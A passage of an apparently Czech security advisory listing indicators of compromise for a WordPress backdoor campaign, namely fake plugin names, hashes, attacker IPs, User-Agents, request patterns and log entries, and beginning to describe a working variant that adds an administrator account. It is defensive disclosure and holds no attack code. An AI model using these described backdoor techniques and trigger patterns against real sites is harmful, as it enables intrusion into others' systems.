!important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Dal\u0161\u00ed vzorky prvn\u00ed varianty n\u00e1m poslaly jin\u00e9 ob\u011bti a dal\u0161\u00ed n\u00e1zvy uv\u00e1d\u00ed Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, u\u017eivatel s e-mailem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, verze 2.6.7, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">style-bridge-8f5<\/code>, \u201eStyle Bridge 8F5\u201c 2.6.6, autor \u201eStoneDock Tools\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_0f907e<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data.build20<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0290c2baa363eac72ef2b6891bef1c9c8b4774d5b95d14f4871bde6094fdacde<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">99a7fb44d1502938a40b3f663f4e5771b5cf741bcbaec58d7dda0b5066b5a0a5<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-kit-183<\/code>, \u201eMedia Kit 183\u201c 3.7.8, autor \u201eAshBridge Digital\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_98a0a7<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_maint88<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">03301b6fc563cafe0408a7eec0fee0349188ff95ce3e5e458272ff6fb23c6a63<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8cdd7ab6d232976a6763df93324be7182a24427e0582fec1dd3c85fc120b8190<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">query-shelf<\/code>, \u201eQuery Shelf\u201c 2.6.1, stejn\u00e1 chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">QueryShelf::FIELD<\/code>, n\u00e1zev bez t\u0159\u00ed hex znak\u016f na konci<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">post-dock-776<\/code>, \u201ePost Dock 776\u201c 1.7.8, autor \u201eCommonGantry\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_5fa3f1<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_build55<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">8ff28a902ce6ae9897260ee8a3c90150ab4301946b4ad8f7247c6b8c9c99f321<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6a52fed5e4044978b68dc70bbabef127369c59ec63661e7478bd5c4ac781cf30<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">nav-hub<\/code>, \u201eNav Hub\u201c 1.0.5, autor \u201ePixelBinder\u201c (stejn\u00fd jako u <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code>), chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">NavHub::FIELD<\/code>, n\u00e1zev bez hex znak\u016f na konci<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-desk<\/code>, \u201eSpeed Desk\u201c 3.7.1, autor \u201eHarbor Stack Labs\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_685679<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.maint85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">80ba1b6261e573a632451aa77485f78739fbdd13ffccaeafbbe91ee2852f8483<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-kit-300<\/code>, \u201eSpeed Kit 300\u201c 3.8.4, autor \u201eNordic Toolworks\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_c4bda9<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-team4<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0d9941f42e3c191b68f80ca0f4f1702c99ad8c6633508a6e01b82973d96a71a3<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">link-latch<\/code>, \u201eLink Latch\u201c 3.0.2, autor \u201eCommonGantry\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_b10fa0<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media.crew54<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">d3281d662c017882d29a7d47412c629a332aba09ac4a04489a28cbdccd7f90a8<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">script-shelf<\/code>, \u201eScript Shelf\u201c 1.9.2, autor \u201eCopperForge WP\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_697e00<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">content-crew90<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">7376a09d1281f27fa58c72811e4c28075ae16a353315d249e4840841cf0225f2<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">feed-case<\/code>, \u201eFeed Case\u201c 1.5.1, autor \u201eLoftStack\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_78d327<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_ops15<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">02f5338311a5b5ab443dae447fddbb8885c86f4c16cfa9bd984582c2777b5429<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-jack-c7a<\/code>, \u201eCache Jack C7A\u201c 2.7.3, autor \u201ePixelBinder\u201c, parametr <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_48c603<\/code>, u\u017eivatel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk2<\/code>, SHA-256 hlavn\u00edho souboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017<\/code><\/li>\n<li>Jm\u00e9na fale\u0161n\u00fdch autor\u016f se opakuj\u00ed nap\u0159\u00ed\u010d variantami i weby, nap\u0159\u00edklad \u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c, \u201eCommonGantry\u201c, \u201eCopperForge WP\u201c, \u201eMetaLayer\u201c \u010di \u201eWPBridge\u201c. Plugin od takov\u00e9ho autora, kter\u00fd jste neinstalovali, je t\u00e9m\u011b\u0159 jist\u011b backdoor.<\/li>\n<li>Dal\u0161\u00ed n\u00e1zvy, kter\u00e9 zve\u0159ejnil <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">Wordfence<\/a>: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-press-23b<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-bridge-6c9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-6a20<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">db-works-7dba<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-frame<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-engine<\/code>; u\u017eivatel\u00e9 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_editor784<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site.crew51<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_desk9<\/code>.<\/li>\n<li>podle Patchstacku nap\u0159\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, celkem 99 n\u00e1zv\u016f<\/li>\n<\/ul>\n<p>Spole\u010dn\u00e9 znaky:<\/p>\n<ul>\n<li>IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent p\u0159esn\u011b <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, po\u017eadavek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>Pokusy pou\u017e\u00edt backdoor 20. 10.: IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> a rozsahy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code> (bez \u010d\u00e1sti s verz\u00ed prohl\u00ed\u017ee\u010de), po\u017eadavek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">GET \/?&lt;spou\u0161t\u011b\u010d&gt;=&lt;token&gt;<\/code><\/li>\n<li>Mo\u017en\u00e1 souvisej\u00edc\u00ed: od 20. 10. vid\u00edme na na\u0161ich webech i zji\u0161\u0165ov\u00e1n\u00ed verze UpdraftPlus p\u0159es <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/wp-content\/plugins\/updraftplus\/readme.txt<\/code>, \u010dasto s n\u00e1sledn\u00fdm <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/wp-admin\/admin-ajax.php<\/code>, z adres <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">107.189.14.87<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.188.240<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.184.170<\/code> s podvr\u017een\u00fdmi User-Agenty prohl\u00ed\u017ee\u010d\u016f. Stejn\u00e9 rozsahy hl\u00e1s\u00ed i dal\u0161\u00ed spr\u00e1vce. Zda jde o stejn\u00e9ho \u00fato\u010dn\u00edka, nev\u00edme.<\/li>\n<li>v logu UpdraftCentral sonda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> a o n\u011bkolik hodin pozd\u011bji <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>u\u017eivatel s e-mailem na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> a zobrazovan\u00fdm jm\u00e9nem \u201eSite Tools\u201c, s rol\u00ed Editor a opr\u00e1vn\u011bn\u00edmi <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>fat\u00e1ln\u00ed chyba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;T\u0159\u00edda&gt;::FIELD<\/code> a e-mail WordPressu o chyb\u011b v pluginu, kter\u00fd nezn\u00e1te<\/li>\n<\/ul>\n<h2 id=\"druh\u00e1-varianta-funk\u010dn\u00ed-backdoor-s-administr\u00e1torsk\u00fdm-\u00fa\u010dtem\">Druh\u00e1 varianta: funk\u010dn\u00ed backdoor s administr\u00e1torsk\u00fdm \u00fa\u010dtem<\/h2>\n<p>Tuto variantu n\u00e1m popsali dva dal\u0161\u00ed posti\u017een\u00ed spr\u00e1vci. Prvn\u00ed spravuje p\u0159ibli\u017en\u011b 145 web\u016f a na\u0161el ji na dvou ze t\u0159\u00ed napaden\u00fdch. \u00dato\u010dn\u00edk ji tam nepou\u017eil: nevznikla volba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>, \u017e\u00e1dn\u00fd \u00fa\u010det ani ciz\u00ed relace. Druh\u00fd ji na\u0161el na t\u0159ech ze \u010dty\u0159 web\u016f, kam se backdoor nainstaloval, a potvrdil, \u017ee <strong>funguje<\/strong>: na rozd\u00edl od prvn\u00ed varianty nem\u00e1 chybu, kter\u00e1 by web shodila. Dal\u0161\u00ed spr\u00e1vce n\u00e1m poslal vzorek <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, tak\u017ee jsme ji rozebrali i sami. Popis obou spr\u00e1vc\u016f se potvrdil krom\u011b skr\u00fdv\u00e1n\u00ed \u00fa\u010dtu, kter\u00e9 nefunguje.<\/p>\n<ul>\n<li>Je to jeden soubor PHP s n\u00e1hodn\u00fdm n\u00e1zvem, kter\u00fd nemus\u00ed odpov\u00eddat vzoru prvn\u00ed varianty (nap\u0159\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>). Popis se li\u0161\u00ed v ka\u017ed\u00e9m vzorku, jednou to bylo \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c.<\/li>\n<li>Pro zakryt\u00ed p\u0159i aktivaci nastav\u00ed volbu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, napl\u00e1nuje denn\u00ed cron <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_maintenance<\/code>, kter\u00fd opravdu ma\u017ee expirovan\u00e9 transienty, a p\u0159id\u00e1 filtr pro jQuery na 